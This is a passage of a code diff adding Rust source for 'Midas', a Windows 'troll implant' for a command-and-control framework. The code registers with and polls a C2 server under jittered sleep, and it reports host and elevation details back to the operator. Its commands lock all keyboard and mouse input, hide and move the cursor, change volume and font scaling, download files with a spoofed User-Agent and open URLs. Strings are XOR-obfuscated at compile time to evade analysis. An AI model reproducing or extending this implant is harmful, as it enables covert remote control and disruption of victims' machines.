// An application that calls ShowCursor(TRUE) itself undoes the hide, so
|
||||
// the cursor is re-hidden every tick.
|
||||
if action == "hide" {
|
||||
unsafe { ShowCursor(0) };
|
||||
}
|
||||
|
||||
tick += 1;
|
||||
std::thread::sleep(Duration::from_millis(20));
|
||||
}
|
||||
|
||||
if action == "hide" {
|
||||
unsafe { ShowCursor(1) };
|
||||
}
|
||||
|
||||
// Every mode except `freeze` moved the pointer, and `freeze` ended back
|
||||
// where it started, so restoring unconditionally is both correct and a
|
||||
// no-op in the one case where nothing was left to undo.
|
||||
if had_position {
|
||||
unsafe { SetCursorPos(origin.x, origin.y) };
|
||||
}
|
||||
}
|
||||
|
||||
/// Blocks keyboard and mouse input system-wide until released.
|
||||
///
|
||||
/// `BlockInput` only works from an elevated process and returns zero when it
|
||||
/// does not, so the refusal is reported rather than leaving the operator
|
||||
/// believing input is locked when it is not.
|
||||
///
|
||||
/// The `gen` argument is the generation the caller registered for. A timed hold
|
||||
/// naturally releases when its deadline passes; a hold superseded by a newer one
|
||||
/// (or ended by `stopall`, which calls `unblock_input`) observes that its
|
||||
/// generation is no longer current and gives up *without* touching the flag -
|
||||
/// the system-wide flag has exactly one owner at a time, and clearing it from a
|
||||
/// superseded hold would unblock a newer holder's lock.
|
||||
///
|
||||
/// Returns whether the hold released the flag itself. `false` means the hold was
|
||||
/// superseded or ended before it ever blocked.
|
||||
pub fn hold_input(gen: u64, duration: Option<Duration>) -> Result<(), String> {
|
||||
if unsafe { BlockInput(1) } == 0 {
|
||||
return Err("BlockInput was refused; this needs an elevated implant".into());
|
||||
}
|
||||
|
||||
// The caller owns the unblock decision: release only while still current, so
|
||||
// an overtaken hold can never clear a newer one's block.
|
||||
let release = || {
|
||||
if crate::gui::current_input_gen() == gen {
|
||||
unsafe { BlockInput(0) };
|
||||
}
|
||||
};
|
||||
|
||||
match duration.and_then(|d| Instant::now().checked_add(d)) {
|
||||
// A real deadline. A duration too large for `Instant` falls through to
|
||||
// the continuous branch rather than panicking on the add.
|
||||
Some(deadline) => {
|
||||
while Instant::now() < deadline {
|
||||
if crate::gui::current_input_gen() != gen {
|
||||
return Ok(());
|
||||
}
|
||||
std::thread::sleep(Duration::from_millis(100));
|
||||
}
|
||||
release();
|
||||
}
|
||||
// 0, or effectively continuous because the add overflowed.
|
||||
None => loop {
|
||||
if crate::gui::current_input_gen() != gen {
|
||||
return Ok(());
|
||||
}
|
||||
std::thread::sleep(Duration::from_millis(100));
|
||||
},
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Ends any running input hold.
|
||||
///
|
||||
/// `BlockInput` is one system-wide flag with no handle to its owner, so the flag
|
||||
/// is cleared directly. Harmless to call when nothing holds it; `stopall` does
|
||||
/// exactly that on every call.
|
||||
pub fn unblock_input() {
|
||||
unsafe { BlockInput(0) };
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Sound and volume
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub fn play_sound(path: &str, looping: bool) -> Result<(), String> {
|
||||
if !std::path::Path::new(path).exists() {
|
||||
return Err(format!("{path} does not exist"));
|
||||
}
|
||||
|
||||
let mut flags = SND_FILENAME | SND_ASYNC;
|
||||
if looping {
|
||||
flags |= SND_LOOP;
|
||||
}
|
||||
|
||||
let ok = unsafe { PlaySoundW(wide(path).as_ptr(), std::ptr::null_mut(), flags) };
|
||||
if ok == 0 {
|
||||
Err("PlaySoundW failed; only uncompressed WAV is supported".into())
|
||||
} else {
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
/// Stops playback started by `play_sound`.
|
||||
pub fn stop_sound() {
|
||||
unsafe { PlaySoundW(std::ptr::null(), std::ptr::null_mut(), 0) };
|
||||
}
|
||||
|
||||
/// The volume in force before the last `mute`, so `unmute` can put it back.
|
||||
///
|
||||
/// `waveOutSetVolume` is a level-setting API with no separate mute flag, so
|
||||
/// without this a mute followed by an unmute would have to invent a level and
|
||||
/// quietly change the volume a second time.
|
||||
static PRE_MUTE: std::sync::Mutex<Option<u32>> = std::sync::Mutex::new(None);
|
||||
|
||||
pub fn set_volume(action: &str, level: u32) -> Result<(), String> {
|
||||
let level = level.min(100);
|
||||
|
||||
let value = match action {
|
||||
"mute" => {
|
||||
let mut previous = PRE_MUTE.lock().map_err(|_| "volume state is poisoned")?;
|
||||
if previous.is_none() {
|
||||
*previous = Some(current_volume());
|
||||
}
|
||||
0
|
||||
}
|
||||
"unmute" => PRE_MUTE
|
||||
.lock()
|
||||
.map_err(|_| "volume state is poisoned")?
|
||||
.take()
|
||||
.unwrap_or(50),
|
||||
"max" => 100,
|
||||
"min" => 0,
|
||||
_ => level,
|
||||
};
|
||||
|
||||
// waveOutSetVolume takes a packed 16-bit pair, so the scalar is duplicated
|
||||
// across both channels. This is the default playback device only, which is
|
||||
// the right scope for a prank.
|
||||
let packed = (value << 16) | value;
|
||||
let result = unsafe { waveOutSetVolume(WAVE_MAPPER, packed) };
|
||||
|
||||
if result != 0 {
|
||||
Err(format!("waveOutSetVolume failed ({result})"))
|
||||
} else {
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
fn current_volume() -> u32 {
|
||||
let mut packed: u32 = 0;
|
||||
|
||||
// `MMSYSERR_INVALHANDLE` (5) is what the wave mapper returns for "no
|
||||
// default playback device". Falling back to a level in that case means
|
||||
// `unmute` on a silent machine still does something plausible.
|
||||
// SAFETY: `packed` is a live, correctly aligned `u32` local.
|
||||
if unsafe { waveOutGetVolume(WAVE_MAPPER, &mut packed) } != 0 {
|
||||
return 50;
|
||||
}
|
||||
|
||||
// The low half is the left channel. The louder of the two is restored, so an
|
||||
// unbalanced pair is not silently flattened to its quieter side.
|
||||
packed.min((packed >> 16) & 0xFFFF)
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Appearance
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Scales the system UI text.
|
||||
///
|
||||
/// There is no `SystemParametersInfo` call for this: the persisted value is the
|
||||
/// `LogPixels` entry under `HKCU\Control Panel\Desktop`, and Explorer only
|
||||
/// picks it up after a `WM_SETTINGCHANGE` broadcast.
|
||||
pub fn set_font_scale(percent: u32) -> Result<(), String> {
|
||||
let key = wide("Control Panel\\Desktop");
|
||||
let value = wide("LogPixels");
|
||||
|
||||
unsafe {
|
||||
let mut hkey: HKEY = std::ptr::null_mut();
|
||||
let status = RegOpenKeyExW(
|
||||
HKEY_CURRENT_USER,
|
||||
key.as_ptr(),
|
||||
0,
|
||||
KEY_SET_VALUE,
|
||||
&mut hkey,
|
||||
);
|
||||
|
||||
if status != ERROR_SUCCESS {
|
||||
return Err(format!("RegOpenKeyExW failed ({status})"));
|
||||
}
|
||||
|
||||
// 96 DPI is the 100% baseline every Windows theme is designed against.
|
||||
let pixels = ((percent as f32 / 100.0) * 96.0).round().max(6.0) as u32;
|
||||
let next = pixels.to_le_bytes();
|
||||
|
||||
let status = RegSetValueExW(
|
||||
hkey,
|
||||
value.as_ptr(),
|
||||
0,
|
||||
REG_DWORD,
|
||||
next.as_ptr(),
|
||||
next.len() as u32,
|
||||
);
|
||||
|
||||
RegCloseKey(hkey);
|
||||
|
||||
if status != ERROR_SUCCESS {
|
||||
return Err(format!("RegSetValueExW failed ({status})"));
|
||||
}
|
||||
|
||||
// Explorer and every top-level window cache the metric, so without this
|
||||
// broadcast the change only shows up on the next logon.
|
||||
let broadcast = wide("WindowMetrics");
|
||||
SendMessageTimeoutW(
|
||||
HWND_BROADCAST,
|
||||
WM_SETTINGCHANGE,
|
||||
0,
|
||||
broadcast.as_ptr() as usize,
|
||||
SMTO_ABORTIFHUNG,
|
||||
2000,
|
||||
std::ptr::null_mut(),
|
||||
);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Misc
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub fn open_url(url: &str) -> Result<(), String> {
|
||||
let handle = unsafe {
|
||||
ShellExecuteW(
|
||||
std::ptr::null_mut(),
|
||||
wide("open").as_ptr(),
|
||||
wide(url).as_ptr(),
|
||||
std::ptr::null(),
|
||||
std::ptr::null(),
|
||||
SW_SHOWNORMAL,
|
||||
)
|
||||
};
|
||||
|
||||
// ShellExecuteW returns a value greater than 32 on success; below that it
|
||||
// is an error code.
|
||||
if (handle as isize) > 32 {
|
||||
Ok(())
|
||||
} else {
|
||||
Err(format!("ShellExecuteW returned {}", handle as isize))
|
||||
}
|
||||
}
|
||||
|
||||
pub fn screen_size() -> Option<(u32, u32)> {
|
||||
let width = unsafe { GetSystemMetrics(SM_CXSCREEN) };
|
||||
let height = unsafe { GetSystemMetrics(SM_CYSCREEN) };
|
||||
|
||||
if width > 0 && height > 0 {
|
||||
Some((width as u32, height as u32))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
65
implants/midas/src/info.rs
Normal file
65
implants/midas/src/info.rs
Normal file
@ -0,0 +1,65 @@
|
||||
//! Host reporting.
|
||||
//!
|
||||
//! `sysinfo` exists so an operator can tell whether a target is worth sending a
|
||||
//! prank at before sending one. On Windows the answer is nearly always yes: the
|
||||
//! only things that can get in the way are a session with no interactive
|
||||
//! desktop (a locked screen, or a service account), which the overlay count and
|
||||
//! the screen size below make obvious.
|
||||
|
||||
use crate::gui;
|
||||
use crate::obf;
|
||||
|
||||
/// The operating system, as reported at registration and here.
|
||||
pub fn os_name() -> &'static str {
|
||||
std::env::consts::OS
|
||||
}
|
||||
|
||||
/// Whether a window can be created at all.
|
||||
///
|
||||
/// False only when the process is running without an interactive window station,
|
||||
/// which is the one situation where every overlay command is guaranteed to fail
|
||||
/// and it is worth saying so before one is sent.
|
||||
pub fn gui_available() -> bool {
|
||||
gui::win::has_window_station()
|
||||
}
|
||||
|
||||
/// The body of the `sysinfo` command result.
|
||||
pub fn report() -> String {
|
||||
let mut lines = vec![
|
||||
format!("implant: {}", crate::config::IMPLANT_ID),
|
||||
format!("os: {}", os_name()),
|
||||
format!("gui overlays: {}", if gui_available() { "available" } else { "unavailable" }),
|
||||
];
|
||||
|
||||
match gui::win::screen_size() {
|
||||
Some((w, h)) => lines.push(format!("screen: {w}x{h}")),
|
||||
None => lines.push(obf!("screen: could not be determined").to_string()),
|
||||
}
|
||||
|
||||
// Windows can report whether it is elevated, which is the difference
|
||||
// between `lockinput` working and being refused.
|
||||
lines.push(format!("elevated: {}", gui::win::is_elevated()));
|
||||
|
||||
// The overlay host is started lazily by the first visual command, so this
|
||||
// is the one place an operator learns that it cannot start at all - a target
|
||||
// with no usable OpenGL implementation, say - before sending a prank to a
|
||||
// host that cannot show it.
|
||||
lines.push(gui::host_status());
|
||||
lines.push(gui::describe_overlays());
|
||||
|
||||
// A continuous `lockinput` is invisible otherwise, and the operator is the
|
||||
// only one who can end it - worth saying it is on the line that is read
|
||||
// before doing anything else.
|
||||
if let Some(status) = gui::input_lock_status() {
|
||||
lines.push(status);
|
||||
}
|
||||
|
||||
// Anything that panicked. On a target nobody is sitting at, stderr is nowhere
|
||||
// to look, so without this the only symptom of a dead overlay backend is a
|
||||
// command that quietly did nothing.
|
||||
for entry in crate::log::recent_panics() {
|
||||
lines.push(format!("panic: {entry}"));
|
||||
}
|
||||
|
||||
lines.join("\n")
|
||||
}
|
||||
98
implants/midas/src/jobs.rs
Normal file
98
implants/midas/src/jobs.rs
Normal file
@ -0,0 +1,98 @@
|
||||
//! Side effects that are not overlay windows: file retrieval, sound, URLs.
|
||||
|
||||
use std::io::Read;
|
||||
use std::path::PathBuf;
|
||||
|
||||
/// Upper bound on a download. Large enough for a wallpaper or a jump-scare
|
||||
/// video frame, small enough that a mistyped URL cannot fill the disk.
|
||||
const MAX_DOWNLOAD: u64 = 32 * 1024 * 1024;
|
||||
|
||||
/// Downloads `url` into the implant's cache directory and returns the path.
|
||||
///
|
||||
/// Only the final path component of `filename` is honoured. Without that, a
|
||||
/// name like `../../.config/autostart/evil` would write outside the cache -
|
||||
/// this is the only place Midas turns operator input into a filesystem path.
|
||||
pub fn fetch(url: &str, filename: &str) -> Result<String, String> {
|
||||
if !url.starts_with("http://") && !url.starts_with("https://") {
|
||||
return Err("URL must start with http:// or https://".into());
|
||||
}
|
||||
|
||||
let safe_name = sanitise_name(filename)?;
|
||||
let mut destination = cache_dir()?;
|
||||
destination.push(&safe_name);
|
||||
|
||||
if let Some(parent) = destination.parent() {
|
||||
std::fs::create_dir_all(parent)
|
||||
.map_err(|e| format!("could not create {}: {e}", parent.display()))?;
|
||||
}
|
||||
|
||||
let response = ureq::get(url)
|
||||
.set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
|
||||
.call()
|
||||
.map_err(|e| format!("GET {url} failed: {e}"))?;
|
||||
|
||||
let mut body = Vec::new();
|
||||
response
|
||||
.into_reader()
|
||||
.take(MAX_DOWNLOAD)
|
||||
.read_to_end(&mut body)
|
||||
.map_err(|e| format!("could not read the response body: {e}"))?;
|
||||
|
||||
if body.is_empty() {
|
||||
return Err("the response was empty".into());
|
||||
}
|
||||
|
||||
std::fs::write(&destination, &body)
|
||||
.map_err(|e| format!("could not write {}: {e}", destination.display()))?;
|
||||
|
||||
Ok(destination.to_string_lossy().into_owned())
|
||||
}
|
||||
|
||||
/// Strips any directory component from a caller-supplied name.
|
||||
fn sanitise_name(filename: &str) -> Result<String, String> {
|
||||
let base = filename
|
||||
.rsplit(['/', '\\'])
|
||||
.next()
|
||||
.unwrap_or_default()
|
||||
.trim();
|
||||
|
||||
if base.is_empty() {
|
||||
return Err("filename is empty once directories are stripped".into());
|
||||
}
|
||||
|
||||
if base == "." || base == ".." || base.contains('\0') {
|
||||
return Err("filename is not a usable file name".into());
|
||||
}
|
||||
|
||||
Ok(base.to_string())
|
||||
}
|
||||
|
||||
fn cache_dir() -> Result<PathBuf, String> {
|
||||
let base = std::env::temp_dir();
|
||||
let dir = base.join("midas");
|
||||
|
||||
std::fs::create_dir_all(&dir).map_err(|e| format!("could not create {}: {e}", dir.display()))?;
|
||||
Ok(dir)
|
||||
}
|
||||
|
||||
/// Plays a sound with `PlaySoundW`.
|
||||
///
|
||||
/// The call is asynchronous, so a looping sound does not need a worker thread of
|
||||
/// its own, and it is the only player this implant uses.
|
||||
pub fn play_sound(path: &str, looping: bool) -> Result<(), String> {
|
||||
crate::gui::win::play_sound(path, looping)
|
||||
}
|
||||
|
||||
/// Opens a URL in the default browser. `background` is accepted for interface
|
||||
/// symmetry with the command schema; `ShellExecuteW` with `SW_SHOWNORMAL`
|
||||
/// returns as soon as the browser is launched, so the call never blocks.
|
||||
pub fn open_url(url: &str, _background: bool) -> Result<(), String> {
|
||||
if !url.starts_with("http://")
|
||||
&& !url.starts_with("https://")
|
||||
&& !url.starts_with("mailto:")
|
||||
{
|
||||
return Err("only http, https and mailto URLs are opened".into());
|
||||
}
|
||||
|
||||
crate::gui::win::open_url(url)
|
||||
}
|
||||
108
implants/midas/src/log.rs
Normal file
108
implants/midas/src/log.rs
Normal file
@ -0,0 +1,108 @@
|
||||
//! Opt-in logging, and capture of anything that panicked.
|
||||
//!
|
||||
//! Off unless `MIDAS_LOG` is set to something other than `0` or empty, so a
|
||||
//! release build is silent on the operator's desktop by default. Diagnostics
|
||||
//! from background threads go through here rather than `eprintln!` for that
|
||||
//! reason - a prank that prints to a visible console is a prank that gives
|
||||
//! itself away.
|
||||
//!
|
||||
//! Output goes to stderr, which on both target platforms is either invisible
|
||||
//! (a GUI-subsystem build) or closed, so nothing lands in a visible window
|
||||
//! unless the operator launched the implant from a terminal. That is the whole
|
||||
//! reason panics are *also* kept in memory below: stderr is not a channel the
|
||||
//! operator has access to on a target they are not sitting at, and a panic whose
|
||||
//! only symptom is a command that quietly does nothing is not a diagnosis.
|
||||
|
||||
use std::sync::{Mutex, OnceLock};
|
||||
|
||||
/// How many panics are kept for `sysinfo` to report.
|
||||
const RECENT_LIMIT: usize = 8;
|
||||
|
||||
static LOGGING: OnceLock<bool> = OnceLock::new();
|
||||
|
||||
pub fn enabled() -> bool {
|
||||
*LOGGING.get_or_init(|| {
|
||||
std::env::var("MIDAS_LOG")
|
||||
.map(|v| !v.is_empty() && v != "0")
|
||||
.unwrap_or(false)
|
||||
})
|
||||
}
|
||||
|
||||
pub fn log(message: &str) {
|
||||
if enabled() {
|
||||
eprintln!("[midas] {message}");
|
||||
}
|
||||
}
|
||||
|
||||
/// `log` for a message that is only assembled when logging is on.
|
||||
///
|
||||
/// Used on paths that would otherwise format a string nobody reads.
|
||||
pub fn log_lazy(build: impl FnOnce() -> String) {
|
||||
if enabled() {
|
||||
eprintln!("[midas] {}", build());
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Panics
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Recent panic messages, kept so `sysinfo` can report them.
|
||||
static RECENT: OnceLock<Mutex<Vec<String>>> = OnceLock::new();
|
||||
|
||||
fn recent() -> &'static Mutex<Vec<String>> {
|
||||
RECENT.get_or_init(|| Mutex::new(Vec::new()))
|
||||
}
|
||||
|
||||
/// Reduces a panic message to the part worth acting on.
|
||||
///
|
||||
/// A default payload reads
|
||||
/// `thread 'midas-gui' panicked at <file>:<line>:<col>:\n<message>`. The thread
|
||||
/// name is Midas' own and identifies nothing, the message sits on a second line
|
||||
/// where it is easy to lose, and the location is the part actually worth acting
|
||||
/// on - so the boilerplate is dropped and the rest is flattened onto one line.
|
||||
pub fn normalise_panic(message: &str) -> String {
|
||||
let flattened = message.replace(['\n', '\r'], " ");
|
||||
let collapsed = flattened.split_whitespace().collect::<Vec<_>>().join(" ");
|
||||
|
||||
match collapsed.split_once("panicked at ") {
|
||||
Some((_, rest)) => rest.to_string(),
|
||||
None => collapsed,
|
||||
}
|
||||
}
|
||||
|
||||
/// Replaces the default panic hook.
|
||||
///
|
||||
/// The default one is deliberately *not* chained to. It prints
|
||||
/// `thread '<name>' panicked at ...`, and because the name is always one of ours
|
||||
/// that line comes out identical for every distinct failure - it named nothing,
|
||||
/// so it read as a repeat of a problem already reported rather than as new
|
||||
/// information. It goes to stderr as well, which on a target the operator has no
|
||||
/// terminal on is nowhere at all.
|
||||
///
|
||||
/// The normalised form replaces it, and the same text is kept so `sysinfo` can
|
||||
/// report it back over the same channel the commands arrived on.
|
||||
pub fn install_panic_hook() {
|
||||
std::panic::set_hook(Box::new(|info| {
|
||||
// `Display` on the hook info is the fully formatted message, location
|
||||
// included, and is the supported way to read it.
|
||||
let normalised = normalise_panic(&format!("{info}"));
|
||||
|
||||
log(&format!("panic: {normalised}"));
|
||||
|
||||
if let Ok(mut recent) = recent().lock() {
|
||||
if recent.len() == RECENT_LIMIT {
|
||||
recent.remove(0);
|
||||
}
|
||||
recent.push(normalised);
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
/// The panics seen so far, newest last, for `sysinfo`.
|
||||
pub fn recent_panics() -> Vec<String> {
|
||||
recent()
|
||||
.lock()
|
||||
.map(|recent| recent.clone())
|
||||
.unwrap_or_default()
|
||||
}
|
||||
154
implants/midas/src/main.rs
Normal file
154
implants/midas/src/main.rs
Normal file
@ -0,0 +1,154 @@
|
||||
//! Midas - troll implant for the Altin C2.
|
||||
//!
|
||||
//! Two loops, mirroring `implants/tombili/src/main.nim`: register until the
|
||||
//! server accepts, then check in forever.
|
||||
//!
|
||||
//! The one structural difference from Tombili is that `commands::dispatch`
|
||||
//! always returns promptly. Visual commands hand off to the GUI thread in
|
||||
//! `gui` or to a worker thread and acknowledge immediately, because the Web UI
|
||||
//! stops waiting on a task after 90 seconds and a modal dialog or a 30-second
|
||||
//! shake would otherwise be reported as a failure even though it worked.
|
||||
|
||||
// Windows only. The command surface is built on Win32 - moving another
|
||||
// application's window, warping the pointer, `BlockInput`, `PlaySoundW` - and
|
||||
// the X11 backend that used to cover Linux could not do most of it under
|
||||
// Wayland, so a non-Windows build would compile into something that silently
|
||||
// did nothing. Say so at build time instead.
|
||||
//
|
||||
// The modules are gated too. Without that, every one of them also fails to
|
||||
// resolve and a cross-compile attempt produces a hundred errors that bury the
|
||||
// one that explains itself.
|
||||
#[cfg(not(windows))]
|
||||
compile_error!(
|
||||
"midas is a Windows-only implant; build with `--target x86_64-pc-windows-msvc` \
|
||||
(or `-gnu`)"
|
||||
);
|
||||
|
||||
#[cfg(windows)]
|
||||
mod commands;
|
||||
#[cfg(windows)]
|
||||
mod comm;
|
||||
#[cfg(windows)]
|
||||
mod config;
|
||||
#[cfg(windows)]
|
||||
mod gdi;
|
||||
#[cfg(windows)]
|
||||
mod gui;
|
||||
#[cfg(windows)]
|
||||
mod info;
|
||||
#[cfg(windows)]
|
||||
mod jobs;
|
||||
#[cfg(windows)]
|
||||
mod log;
|
||||
#[cfg(windows)]
|
||||
mod obf;
|
||||
#[cfg(windows)]
|
||||
mod rng;
|
||||
#[cfg(windows)]
|
||||
mod sleep;
|
||||
|
||||
#[cfg(windows)]
|
||||
use log::log;
|
||||
|
||||
#[cfg(windows)]
|
||||
fn main() {
|
||||
// Before anything else can panic. The default hook's output names only the
|
||||
// thread - always one of Midas' own - so it reads the same for every distinct
|
||||
// fault and says nothing; the replacement keeps the location and reports it
|
||||
// back through `sysinfo`.
|
||||
log::install_panic_hook();
|
||||
|
||||
sleep::init();
|
||||
|
||||
log(&format!(
|
||||
"{} {} on {} (desktop: {}, elevated: {})",
|
||||
config::IMPLANT_ID,
|
||||
env!("CARGO_PKG_VERSION"),
|
||||
info::os_name(),
|
||||
info::gui_available(),
|
||||
gui::win::is_elevated(),
|
||||
));
|
||||
|
||||
register();
|
||||
checkin_loop();
|
||||
}
|
||||
|
||||
/// Blocks until the server has the agent's manifest, or the failure limit is hit.
|
||||
///
|
||||
/// The server answers `STATUS_CONTINUE` both for a fresh registration and for
|
||||
/// an agent that is already registered, so either ends the loop.
|
||||
#[cfg(windows)]
|
||||
fn register() {
|
||||
let limit = config::reg_fail_limit();
|
||||
let mut failures: u32 = 0;
|
||||
|
||||
loop {
|
||||
match comm::send_registration() {
|
||||
Ok(comm::STATUS_CONTINUE) => {
|
||||
log("registered");
|
||||
return;
|
||||
}
|
||||
Ok(status) => log(&format!("registration returned status {status}")),
|
||||
Err(e) => log(&format!("registration failed: {e}")),
|
||||
}
|
||||
|
||||
failures += 1;
|
||||
|
||||
if limit > 0 && failures >= limit {
|
||||
log("registration failure limit reached, giving up");
|
||||
std::process::exit(0);
|
||||
}
|
||||
|
||||
sleep::do_sleep();
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
fn checkin_loop() {
|
||||
loop {
|
||||
match comm::checkin() {
|
||||
Ok(comm::Checkin::Tasks(tasks)) => {
|
||||
for task in tasks {
|
||||
run_task(task);
|
||||
}
|
||||
}
|
||||
Ok(comm::Checkin::NeedsRegistration) => {
|
||||
// The agent row was deleted from the Web UI, or the server was
|
||||
// restarted against a fresh database. Re-register rather than
|
||||
// silently idling forever.
|
||||
log("server asked for re-registration");
|
||||
register();
|
||||
}
|
||||
Ok(comm::Checkin::Idle) => {}
|
||||
Err(e) => log(&format!("check-in failed: {e}")),
|
||||
}
|
||||
|
||||
sleep::do_sleep();
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
fn run_task(task: serde_json::Value) {
|
||||
let task_id = task
|
||||
.get(obf!("task_id"))
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or_default()
|
||||
.to_string();
|
||||
|
||||
let name = task
|
||||
.get(obf!("task"))
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("?")
|
||||
.to_string();
|
||||
|
||||
log(&format!("task {task_id}: {name}"));
|
||||
|
||||
let result = commands::dispatch(&task);
|
||||
log(&format!("task {task_id} -> {result}"));
|
||||
|
||||
if let Err(e) = comm::send_task_result(&task_id, &result) {
|
||||
// The server re-delivers a task until it sees a result, so a lost one
|
||||
// means the command runs again on the next check-in. Worth logging.
|
||||
log(&format!("could not report result for {task_id}: {e}"));
|
||||
}
|
||||
}
|
||||
67
implants/midas/src/obf.rs
Normal file
67
implants/midas/src/obf.rs
Normal file
@ -0,0 +1,67 @@
|
||||
//! Compile-time string obfuscation.
|
||||
//!
|
||||
//! The Rust equivalent of Tombili's `obf()` macro in `utils.nim`. A string
|
||||
//! literal is XOR-encoded during const evaluation and decoded at the point of
|
||||
//! use, so the plaintext never appears in the compiled binary.
|
||||
//!
|
||||
//! This is obfuscation, not encryption. It defeats a casual `strings` pass; it
|
||||
//! does not survive anything that debugs the process.
|
||||
|
||||
include!(concat!(env!("OUT_DIR"), "/seed.rs"));
|
||||
|
||||
/// Upper bound on a single obfuscated literal.
|
||||
pub const MAX_LEN: usize = 256;
|
||||
|
||||
/// XOR-encode `s` at compile time. `out` is zero-padded past `s.len()`; the
|
||||
/// padding is never decoded because every call site passes the original length.
|
||||
pub const fn encode_const(s: &[u8], seed: u32) -> [u8; MAX_LEN] {
|
||||
let mut out = [0u8; MAX_LEN];
|
||||
let mut k = seed | 1;
|
||||
let mut i = 0;
|
||||
|
||||
while i < s.len() && i < MAX_LEN {
|
||||
k = k.wrapping_add(1);
|
||||
out[i] = s[i] ^ (k & 0xFF) as u8;
|
||||
i += 1;
|
||||
}
|
||||
|
||||
out
|
||||
}
|
||||
|
||||
/// Encodes a string that is only known at compile time from *outside* the
|
||||
/// source, such as a value baked in by `option_env!`.
|
||||
///
|
||||
/// `obf!` cannot cover those: it needs a literal written in the source, and
|
||||
/// `option_env!` expands to a literal the build environment supplied, which the
|
||||
/// compiler would otherwise embed verbatim. This takes the already-materialised
|
||||
/// `&str` and returns `(length, bytes)` for `decode`.
|
||||
pub const fn encode_static(s: &str) -> (usize, [u8; MAX_LEN]) {
|
||||
(s.len(), encode_const(s.as_bytes(), SEED))
|
||||
}
|
||||
|
||||
/// Decode the first `len` bytes of `encoded`.
|
||||
pub fn decode(encoded: &[u8; MAX_LEN], len: usize, seed: u32) -> String {
|
||||
let mut k = seed | 1;
|
||||
let mut out = Vec::with_capacity(len);
|
||||
|
||||
for &b in encoded.iter().take(len) {
|
||||
k = k.wrapping_add(1);
|
||||
out.push(b ^ (k & 0xFF) as u8);
|
||||
}
|
||||
|
||||
String::from_utf8_lossy(&out).into_owned()
|
||||
}
|
||||
|
||||
/// Obfuscate a string literal.
|
||||
///
|
||||
/// Encoding happens in a `const` item, so the work is done by the compiler and
|
||||
/// nothing is computed at startup. Takes a literal rather than an expression so
|
||||
/// that `$s.as_bytes()` and `$s.len()` are both const-evaluable.
|
||||
#[macro_export]
|
||||
macro_rules! obf {
|
||||
($s:literal) => {{
|
||||
const ENCODED: [u8; $crate::obf::MAX_LEN] =
|
||||
$crate::obf::encode_const($s.as_bytes(), $crate::obf::SEED);
|
||||
$crate::obf::decode(&ENCODED, $s.len(), $crate::obf::SEED)
|
||||
}};
|
||||
}
|
||||
42
implants/midas/src/rng.rs
Normal file
42
implants/midas/src/rng.rs
Normal file
@ -0,0 +1,42 @@
|
||||
//! Minimal xorshift for the animated overlays.
|
||||
//!
|
||||
//! Shared by both rendering backends so `static`, `glitch` and the matrix rain
|
||||
//! look the same whichever one is drawing. Only cosmetic, so there is no reason
|
||||
//! to reach for a dependency.
|
||||
|
||||
pub struct Rng(u64);
|
||||
|
||||
impl Rng {
|
||||
pub fn new(seed: u64) -> Rng {
|
||||
// A zero state is absorbing, so it is forced away from it.
|
||||
Rng(seed | 1)
|
||||
}
|
||||
|
||||
fn next(&mut self) -> u64 {
|
||||
self.0 ^= self.0 << 13;
|
||||
self.0 ^= self.0 >> 7;
|
||||
self.0 ^= self.0 << 17;
|
||||
self.0
|
||||
}
|
||||
|
||||
/// Uniform in `[0, 1)`, from the top 24 bits.
|
||||
pub fn f32(&mut self) -> f32 {
|
||||
(self.next() >> 40) as f32 / 16_777_216.0
|
||||
}
|
||||
|
||||
/// Uniform in `[low, high)` as a float.
|
||||
pub fn range(&mut self, low: f32, high: f32) -> f32 {
|
||||
low + self.f32() * (high - low)
|
||||
}
|
||||
|
||||
/// Uniform in `[low, high)` as an integer.
|
||||
///
|
||||
/// The high bound is exclusive, which is what every caller here wants: a
|
||||
/// rect of height `0` is not something to hand the rasteriser.
|
||||
pub fn range_i32(&mut self, low: i32, high: i32) -> i32 {
|
||||
if high <= low {
|
||||
return low;
|
||||
}
|
||||
low + (self.next() % (high - low) as u64) as i32
|
||||
}
|
||||
}
|
||||
107
implants/midas/src/sleep.rs
Normal file
107
implants/midas/src/sleep.rs
Normal file
@ -0,0 +1,107 @@
|
||||
//! Check-in pacing.
|
||||
//!
|
||||
//! Tombili keeps this in module-level `var`s; Midas uses atomics so `setsleep`
|
||||
//! can run on a worker thread while the check-in loop is sleeping.
|
||||
|
||||
use std::sync::atomic::{AtomicU64, Ordering};
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::config;
|
||||
|
||||
static SLEEP_SECS: AtomicU64 = AtomicU64::new(10);
|
||||
static JITTER_SECS: AtomicU64 = AtomicU64::new(5);
|
||||
|
||||
pub fn init() {
|
||||
SLEEP_SECS.store(config::checkin_sleep(), Ordering::Relaxed);
|
||||
JITTER_SECS.store(config::checkin_jitter(), Ordering::Relaxed);
|
||||
}
|
||||
|
||||
pub fn get() -> (u64, u64) {
|
||||
(
|
||||
SLEEP_SECS.load(Ordering::Relaxed),
|
||||
JITTER_SECS.load(Ordering::Relaxed),
|
||||
)
|
||||
}
|
||||
|
||||
/// Returns an error instead of applying a nonsensical value, so the operator
|
||||
/// gets the reason back in the task result.
|
||||
pub fn set(sleep_secs: u64, jitter_secs: u64) -> Result<(), String> {
|
||||
if sleep_secs == 0 {
|
||||
